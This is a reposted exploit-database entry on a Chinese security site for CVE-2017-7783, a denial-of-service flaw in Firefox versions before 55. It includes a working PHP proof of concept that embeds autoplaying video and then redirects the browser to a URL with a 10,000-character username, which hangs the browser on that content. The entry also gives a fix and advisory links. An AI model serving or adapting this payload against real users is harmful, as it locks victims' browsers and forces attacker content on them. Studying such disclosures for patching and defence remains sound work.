Mozilla Firefox < 55 - Denial of Service

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Mozilla Firefox < 55 - Denial of Service

来源：http://CyberCriminals.net 作者：Sangra 发布时间：2017-10-23

# Exploit Title: Mozilla Firefox < 55 - Forcibly make someone view a web content
# Category: Denial of Service
# Date: 5/11/17
# CVE : CVE-2017-7783
# Affected Version: < Mozilla Firefox 55
# Tested on: Windows/Linux
# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/
# Exploit Author: Amit Sangra
# Website: http://CyberCriminals.net

# Description:

If a long user name is used in a username/password combination in a site URL (such as http://UserName:Password@example.com), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.

# Impact:

An attacker can create a webpage having some content and exploit.
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.

# Exploit:

<?php
$exploit=str_repeat(chr(0x41),10000);
$location="http://Username".$exploit.":Password@Firefox.com";
echo "<center><h1>Firefox Lockout Vulnerability</h1>";
//Content to be forcibly viewed
echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";
//End
echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";
?>

# Solution:

Update to version 55
https://www.mozilla.org/en-US/firefox/55.0/releasenotes/

# Mozilla Foundation Security Advisory:
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783

[

推荐] [

评论(0条)] [返回顶部] [打印本页] [关闭窗口]

匿名评论

评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。

§最新评论：

热点文章

·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1

推荐广告